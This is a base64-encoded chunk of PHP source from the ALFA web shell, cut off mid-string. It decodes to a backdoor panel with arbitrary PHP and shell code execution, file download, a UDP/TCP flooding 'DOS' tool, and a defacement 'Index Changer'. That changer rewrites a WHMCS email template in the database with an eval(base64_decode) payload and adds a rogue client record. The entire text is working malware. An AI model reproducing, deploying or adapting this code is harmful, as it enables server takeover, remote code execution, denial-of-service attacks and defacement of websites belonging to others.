UE9TVFsnZmlsZSddKSl7CiRiYXNlbmFtZSA9IHJhd3VybGRlY29kZShiYXNlbmFtZSgkX1BPU1RbJ2ZpbGUnXSkpOwokX1BPU1RbJ2ZpbGUnXSA9IHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJF9QT1NUWydjJ10uJy8nLiRiYXNlbmFtZSk7CiRhbGZhX2NhbnJ1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7CmlmKEBpc19maWxlKCRfUE9TVFsnZmlsZSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydmaWxlJ10pIHx8ICRhbGZhX2NhbnJ1bmNtZCl7Cm9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYWRkc2xhc2hlcygkYmFzZW5hbWUpLiJcIiIpOwpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewoJJHJhbmRuYW1lID0gJGJhc2VuYW1lLnJhbmQoMTExLDk5OTkpOwoJJHNjcmlwdHBhdGggPSBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CgkkZmlsZXBhdGggPSAkc2NyaXB0cGF0aC4iLyIuJHJhbmRuYW1lOwoJaWYoX2FsZmFfaXNfd3JpdGFibGUoJHNjcmlwdHBhdGgpKXsKCQlhbGZhRXgoImNwICciLmFkZHNsYXNoZXMoJF9QT1NUWyJmaWxlIl0pLiInICciLmFkZHNsYXNoZXMoJGZpbGVwYXRoKS4iJyIpOwoJCXJlYWRmaWxlKCRmaWxlcGF0aCk7CgkJQHVubGluaygkZmlsZXBhdGgpOwoJfWVsc2V7CgkJYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkX1BPU1RbImZpbGUiXSkuIiciKTsKCX0KfWVsc2V7CglyZWFkZmlsZSgkX1BPU1RbJ2ZpbGUnXSk7Cn0KfWVsc2UgZWNobygnRXJyb3IuLi4hJyk7fX0KZnVuY3Rpb24gX19hbGZhX3NldF9jb29raWUoJGtleSwgJHZhbHVlKXsKCSRfQ09PS0lFWyRrZXldID0gJHZhbHVlOwoJQHNldGNvb2tpZSgka2V5LCAkdmFsdWUsIHRpbWUoKSsoODY0MDAgKiA3KSwgJy8nKTsKfQpmdW5jdGlvbiBhbGZhcGhwZXZhbCgpewppZihpc3NldCgkX0NPT0tJRVsiZXZhbF90bXBkaXIiXSkmJkBpc19kaXIoJF9DT09LSUVbImV2YWxfdG1wZGlyIl0pKXsKCSR0ZW1wZGlyID0gX19aR1ZqYjJSbGNnKCRfQ09PS0lFWyJldmFsX3RtcGRpciJdKTsKfWVsc2V7CgkkdGVtcGRpciA9IGRpcm5hbWUoYWxmYUV4KCJta3RlbXAiKSk7CglfX2FsZmFfc2V0X2Nvb2tpZSgiZXZhbF90bXBkaXIiLCBfX1pXNWpiMlJsY2coJHRlbXBkaXIpKTsKfQphbGZhaGVhZCgpOwppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2luaScpKXsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJElOST1pbmlfZ2V0X2FsbCgpOwpwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+UGFyYW08L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5HbG9iYWwgdmFsdWU8L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5Mb2NhbCBWYWx1ZTwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkFjY2VzczwvdGQ+PC90cj4nOwpmb3JlYWNoICgkSU5JIGFzICRwYXJhbSA9PiAkdmFsdWVzKQpwcmludCAiXG4iLic8dHI+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGI+Jy4kcGFyYW0uJzwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydnbG9iYWxfdmFsdWUnXS4nIDwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydsb2NhbF92YWx1ZSddLicgPC90ZD4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2YWx1ZXNbJ2FjY2VzcyddLicgPC90ZD48L3RyPic7CiR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOwokdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7CmVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAoJF9QT1NUWydhbGZhMiddID09ICdpbmZvJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7Cm9iX3N0YXJ0KCk7CnBocGluZm8oKTsKJHRtcCA9IG9iX2dldF9jbGVhbigpOwokdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7CiR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKfQppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2V4dGVuJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJEVYVD1nZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsKZWNobyAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+JywgJEVYVCkuJzwvdGQ+PC90cj48L3RhYmxlPicuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7CmVjaG8gJzwvZGl2Pjxicj4nOwp9CiRsYW5nX2h0bWwgPSAiIjsKZm9yZWFjaChhcnJheSgicGhwIj0+InBocCB+PiBbIFdpbmRvd3MgLyBMaW51eCBdIiwicGVybCI9PiJwZXJsIH4+IFsgTGludXggXSIsInB5dGhvbiI9PiJweXRob24gfj4gWyBMaW51eCBdIiwiYmFzaCI9PiJiYXNoIH4+IFsgTGludXggXSIpIGFzICRrZXk9PiR2YWwpeyRsYW5nX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkX1BPU1RbImFsZmEzIl09PSRrZXk/InNlbGVjdGVkIjoiIikuJz4nLiR2YWwuJzwvb3B0aW9uPic7fQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Q2VudGVyPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5pXCcpIj58IElOSV9JTkZPIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+IHwgcGhwaW5mbyB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnZXh0ZW5cJykiPiB8IGV4dGVuc2lvbnMgfDwvYT48L2NlbnRlcj48YnI+PGZvcm0gY2xhc3M9InBocC1ldmFscyIgbmFtZT0icGYiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9InZhciBhY2VfdmFsdWU9Z2VFdmFsQWNlVmFsdWUodGhpcyk7ZyhcJ3BocGV2YWxcJyxudWxsLGFjZV92YWx1ZSxudWxsLHRoaXMubGFuZ3VhZ2UudmFsdWUpOyByZXR1cm4gZmFsc2U7Ij48ZGl2IGNsYXNzPSJ0eHRmb250Ij5TZWxlY3QgTGFuZ3VhZ2U6IDwvZGl2PiA8c2VsZWN0IG5hbWU9Imxhbmd1YWdlIiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4nLiRsYW5nX2h0bWwuJzwvc2VsZWN0PicuX2FsZmFfbG9hZF9hY2Vfb3B0aW9ucygiZXZhbCIpLic8YnI+PGJyPjxkaXYgY2xhc3M9ImJpZ2FyZWEiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxkaXYgY2xhc3M9InBocC1ldmFscy1hY2UiPicuKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMSddKToiJmx0Oz9waHBcblxuXHRlY2hvKCdoZWxsbyBhbGZhICEnKTtcblxuPz4iKS4nPC9kaXY+PC9kaXY+PGNlbnRlcj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPjwvY2VudGVyPic7CmVjaG8gJzwvZm9ybT48cHJlIGlkPSJQaHBPdXRwdXQiIHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ2FsZmExJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9Im1sMSI+JzsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewppZigkX1BPU1RbJ2FsZmEzJ109PSJwaHAiKXsKb2Jfc3RhcnQoKTsKZXZhbCgnPz4nLiRfUE9TVFsnYWxmYTEnXSk7CiRyZXN1bHQgPSBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKfWVsc2VpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpJiYkR0xPQkFMU1sic3lzIl09PSJ1bml4Iil7CgkkbGFuZyA9ICRfUE9TVFsnYWxmYTMnXTsKCSRmaWxlbmFtZSA9ICJ0ZW1wIi5yYW5kKDExMTExLDk5OTk5KTsKCSR0ZW1wID0gJHRlbXBkaXIuIi8iLiRmaWxlbmFtZSA7CglfX3dyaXRlX2ZpbGUoJGZpbGVuYW1lLCAkX1BPU1RbJ2FsZmExJ10pOwoJJHJlc3VsdCA9IGFsZmFFeCgibXYgeyRmaWxlbmFtZX0geyR0ZW1wfTt7JGxhbmd9IHskdGVtcH07cm0gLWYgeyR0ZW1wfSIpOwoJQHVubGluaygkZmlsZW5hbWUpOwoJQHVubGluaygkdGVtcCk7Cn0KZWNobyAnPHRleHRhcmVhIGNsYXNzPSJiaWdhcmVhIj4nLiRyZXN1bHQuJzwvdGV4dGFyZWE+JzsKfQplY2hvICc8L3ByZT48L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWhhc2goKXsKaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KJHN0cmluZ1Rvb2xzID0gYXJyYXkoCidCYXNlNjRfZW5jb2RlICggJHN0cmluZyApJyA9PiAnX19aVzVqYjJSbGNnKCRzKScsCidCYXNlNjRfZGVjb2RlICggJHN0cmluZyApJyA9PiAnX19aR1ZqYjJSbGNnKCRzKScsCidzdHJyZXYgKCAkc3RyaW5nICknID0+ICdzdHJyZXYoJHMpJywKJ2JpbjJoZXggKCAkc3RyaW5nICknID0+ICdiaW4yaGV4KCRzKScsCidoZXgyYmluICggJHN0cmluZyApJyA9PiAnaGV4MmJpbigkcyknLAonbWQ1ICggJHN0cmluZyApJyA9PiAnbWQ1KCRzKScsCidzaGExICggJHN0cmluZyApJyA9PiAnc2hhMSgkcyknLAonaGFzaCAoICJzaGEyNTEiLCAkc3RyaW5nICkgLS0+IHNoYTI1MScgPT4gJ2hhc2goInNoYTI1NiIsJHMpJywKJ2hhc2ggKCAic2hhMzg0IiwgJHN0cmluZyApIC0tPiBzaGEzODQnID0+ICdoYXNoKCJzaGEzODQiLCRzKScsCidoYXNoICggInNoYTUxMiIsICRzdHJpbmcgKSAtLT4gc2hhNTEyJyA9PiAnaGFzaCgic2hhNTEyIiwkcyknLAonY3J5cHQgKCAkc3RyaW5nICknID0+ICdjcnlwdCgkcyknLAonY3JjMzIgKCAkc3RyaW5nICknID0+ICdjcmMzMigkcyknLAonc3RyX3JvdDEzICggJHN0cmluZyApJyA9PiAnc3RyX3JvdDEzKCRzKScsCid1cmxlbmNvZGUgKCAkc3RyaW5nICknID0+ICd1cmxlbmNvZGUoJHMpJywKJ3VybGRlY29kZSAgKCAkc3RyaW5nICknID0+ICd1cmxkZWNvZGUoJHMpJywKJ2Z1bGxfdXJsZW5jb2RlICAoICRzdHJpbmcgKScgPT4gJ2Z1bGxfdXJsZW5jb2RlKCRzKScsCidodG1sc3BlY2lhbGNoYXJzICAoICRzdHJpbmcgKScgPT4gJ2h0bWxzcGVjaWFsY2hhcnMoJHMpJywKJ2Jhc2U2NF9lbmNvZGUgKGd6ZGVmbGF0ZSggJHN0cmluZyAsIDkpKSAtLT4gRW5jb2RlJyA9PiAnX19aVzVqYjJSbGNnKGd6ZGVmbGF0ZSgkcywgOSkpJywKJ2d6aW5mbGF0ZSAoYmFzZTY0X2RlY29kZSggJHN0cmluZyApKSAtLT4gRGVjb2RlJyA9PiAnQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coJHMpKScsCidzdHJfcm90MTMgKGJhc2U2NF9lbmNvZGUoICRzdHJpbmcgKSkgLS0+IEVuY29kZScgPT4gJ3N0cl9yb3QxMyhfX1pXNWpiMlJsY2coJHMpKScsCidiYXNlNjRfZGVjb2RlIChzdHJfcm90MTMoICRzdHJpbmcgKSkgLS0+IERlY29kZScgPT4gJ19fWkdWamIyUmxjZyhzdHJfcm90MTMoJHMpKScsCidzdHJfcm90MTMgKGJhc2U2NF9lbmNvZGUoZ3pkZWZsYXRlKCAkc3RyaW5nICwgOSkpKSAtLT4gRW5jb2RlJyA9PiAnc3RyX3JvdDEzKF9fWlc1amIyUmxjZyhnemRlZmxhdGUoJHMsOSkpKScsCidnemluZmxhdGUgKGJhc2U2NF9kZWNvZGUoc3RyX3JvdDEzKCAkc3RyaW5nICkpKSAtLT4gRGVjb2RlJyA9PiAnQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coc3RyX3JvdDEzKCRzKSkpJywKKTsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKZWNobyAiPGZvcm0gb25TdWJtaXQ9J2coXCJoYXNoXCIsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+TWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnIHN0eWxlPSd3aWR0aDo0MDBweDsnPiI7CmZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQplY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInICIuKCRfUE9TVFsnYWxmYTEnXT09JHY/J3NlbGVjdGVkJzonJykuIj4iLiRrLiI8L29wdGlvbj4iOwplY2hvICI8L3NlbGVjdD4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnLz48YnI+PHRleHRhcmVhICBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz0nYmlnYXJlYSc+Ii4oZW1wdHkoJF9QT1NUWydhbGZhMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2FsZmEyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+IjsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewokc3RyaW5nID0gYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pOwokc3RyaW5nID0gc3RyX3JlcGxhY2UoJ1wiJywnIicsJHN0cmluZyk7CiRhbGcgPSAkX1BPU1RbJ2FsZmExJ107CiRjb2RlID0gc3RyX3JlcGxhY2UoJyRzJywiJyIuJHN0cmluZy4iJyIsJGFsZyk7Cm9iX3N0YXJ0KCk7CmV2YWwoJ2VjaG8gJy4kY29kZS4nOycpOwokcmVzID0gb2JfZ2V0X2NvbnRlbnRzKCk7Cm9iX2VuZF9jbGVhbigpOwppZihpbl9hcnJheSgkYWxnLCAkc3RyaW5nVG9vbHMpKWVjaG8gJzx0ZXh0YXJlYSBjbGFzcz0iYmlnYXJlYSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRyZXMpLic8L3RleHRhcmVhPic7Cn0KZWNobyAiPC9kaXY+IjsKYWxmYUZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFkb3MoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKZWNobyAnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBET1MgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ2Rvc1wnLG51bGwsdGhpcy5ob3N0LnZhbHVlLHRoaXMudGltZS52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5tLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+TWV0aG9kIDogPHNlbGVjdCBuYW1lPSJtIiBzdHlsZT0id2lkdGg6ODBweDsiPjxvcHRpb24gdmFsdWU9InVkcCI+VURQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idGNwIj5UQ1A8L29wdGlvbj48L3NlbGVjdD4gSG9zdCA6IDxpbnB1dCBuYW1lPSJob3N0IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ibG9jYWxob3N0IiBzaXplPSIyNSIgLz4gVGltZSA6IDxpbnB1dCBuYW1lPSJ0aW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgLz4gUG9ydCA6IDxpbnB1dCBuYW1lPSJwb3J0IiB0eXBlPSJ0ZXh0IiBzaXplPSIxMCIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIC8+PC9kaXY+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMiddKSAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7CmVjaG8gX19wcmUoKTsKJHBhY2tldHM9MDsKaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CiRleGVjX3RpbWU9KGludCkkX1BPU1RbJ2FsZmEyJ107CiR0aW1lPXRpbWUoKTsKJG1heF90aW1lPSRleGVjX3RpbWUrJHRpbWU7CiRob3N0PSRfUE9TVFsnYWxmYTEnXTsKJHBvcnQ9KGludCkkX1BPU1RbJ2FsZmEzJ107CiRtZXRob2Q9JF9QT1NUWydhbGZhNCddOwokb3V0ID0gc3RyX3JlcGVhdCgnWCcsNjUwMDApOwp3aGlsZSgxKXsKJHBhY2tldHMrKzsKaWYodGltZSgpID4gJG1heF90aW1lKXsKYnJlYWs7Cn0KJGZwID0gQGZzb2Nrb3BlbigkbWV0aG9kLic6Ly8nLiRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCA1KTsKaWYoJGZwKXsKZndyaXRlKCRmcCwgJG91dCk7CmZjbG9zZSgkZnApOwp9Cn0KZWNobyAiPGNlbnRlcj4kcGFja2V0cyAoIiAuIEByb3VuZCgoJHBhY2tldHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gQHJvdW5kKCRwYWNrZXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzIHBlciBzZWNvbmQ8L2NlbnRlcj4iOwplY2hvICI8L3ByZT4iOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBfX3ByZSgpe3JldHVybignPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPicpO30KZnVuY3Rpb24gYWxmYUluZGV4Q2hhbmdlcigpewphbGZhaGVhZCgpOwoKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBJbmRleCBDaGFuZ2VyIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdJbmRleENoYW5nZXJcJyxudWxsLG51bGwsbnVsbCxcJ3dobWNzXCcpIj58IFdobWNzIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdJbmRleENoYW5nZXJcJyxudWxsLFwndmJcJyxudWxsKSI+fCB2QnVsbGV0aW4gfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsbnVsbCxcJ215YmJcJykiPnwgTXlCQiB8IDwvYT48L2gzPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkmJigkX1BPU1RbJ2FsZmEzJ10gPT0gJ3dobWNzJykpewplY2hvIF9fcHJlKCk7CgplY2hvICI8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV2htY3MgfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsbnVsbCxudWxsLCd3aG1jcycsdGhpcy5mbmFtZS52YWx1ZSx0aGlzLnBhdGgudmFsdWUsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5pbmRleC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj4KIjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lucHV0TmFtZScgPT4gJ2RiaCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVUkwnLCAnaW5wdXROYW1lJyA9PiAncGF0aCcsICdpbnB1dFZhbHVlJyA9PiAnaHR0cDovL3NpdGUuY29tL3dobWNzJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0ZpbGUgTmFtZScsICdpbnB1dE5hbWUnID0+ICdmbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPWluZGV4IHJvd3M9JzE5JyBjb2xzPScxMDMnPjx0aXRsZT5IYWNrZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGU8L3RpdGxlPjxiPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvYj48L3RleHRhcmVhPjxicj4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPgo8L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsKaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSl7CiRzMGxldmlzaWJsZT0iUG93ZXJlZCBCeSBTb2xldmlzaWJsZSI7CiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107CiRwYXRoID0gJF9QT1NUWydhbGZhNSddOwokZm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107CiRkYnAgPSAkX1BPU1RbJ2FsZmE4J107CiRkYmggPSAkX1BPU1RbJ2FsZmE5J107CiRpbmRleCA9ICRfUE9TVFsnYWxmYTEwJ107CiRpbmRleCA9IHN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7CiRkZWZhY2UgPSAnJHggPSBiYXNlNjRfZGVjb2RlKCInLl9fWlc1amIyUmxjZygkaW5kZXgpLiciKTsgJHNvbGV2aXNpYmxlID0gZm9wZW4oIicuJGZuYW1lLiciLCJ3Iik7IGZ3cml0ZSgkc29sZXZpc2libGUsJHgpOyc7CiRzYXZlRGF0YSA9IF9fWlc1amIyUmxjZygkZGVmYWNlKTsKJERlZiA9ICd7cGhwfWV2YWwoYmFzZTY0X2RlY29kZSgiJy4kc2F2ZURhdGEuJyIpKTt7L3BocH0nOwppZighZW1wdHkoJGRiaCkmJiFlbXB0eSgkZGJ1KSYmIWVtcHR5KCRkYm4pJiYhZW1wdHkoJGluZGV4KSl7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkZGJoLCRkYnUsJGRicCwkZGJuKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xlU2F2ZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgbWVzc2FnZSBmcm9tIHRibGVtYWlsdGVtcGxhdGVzIHdoZXJlIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIik7CiRzb2xlR2V0ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xlU2F2ZSk7CiR0ZW1wU2F2ZTEgPSAkc29sZUdldFsnbWVzc2FnZSddOwokdGVtcFNhdmUgPSBzdHJfcmVwbGFjZSgiJyIsIlwnIiwkdGVtcFNhdmUxKTsKJGluamVjdCA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9JyREZWYnIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsKJHJlc3VsdD1AbXlzcWxpX3F1ZXJ5KCRjb25uLCRpbmplY3QpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRjcmVhdGUgPSAiaW5zZXJ0IGludG8gdGJsY2xpZW50cyAoZW1haWwpIHZhbHVlcygnc29sZXZpc2libGVAZmJpLmdvdicpIjsKJHJlc